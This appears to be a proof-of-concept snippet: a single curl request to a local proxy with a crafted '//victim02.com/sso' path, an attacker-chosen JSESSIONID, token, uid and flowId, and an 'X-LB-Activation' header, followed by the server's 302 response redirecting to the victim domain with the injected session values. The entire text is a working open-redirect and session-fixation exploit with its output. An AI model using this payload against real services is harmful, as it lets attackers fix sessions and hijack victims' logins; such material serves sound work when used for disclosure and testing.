curl "http://localhost:8080//victim02.com/sso;JSESSIONID=attacker_victim02_sessionid;jsessionid=abcd.node03?token=AttackerInjectedToken&uid=AttackerUid&flowId=maliciousFlowId" -H "X-LB-Activation:DIS" -i
# HTTP/1.1 302
# Location: //victim02.com/sso;JSESSIONID=attacker_victim02_sessionid?token=AttackerInjectedToken&uid=AttackerUid&flowId=maliciousFlowId
# Content-Length: 0
# Date: Fri, 30 Jan 2026 19:12:45 GMT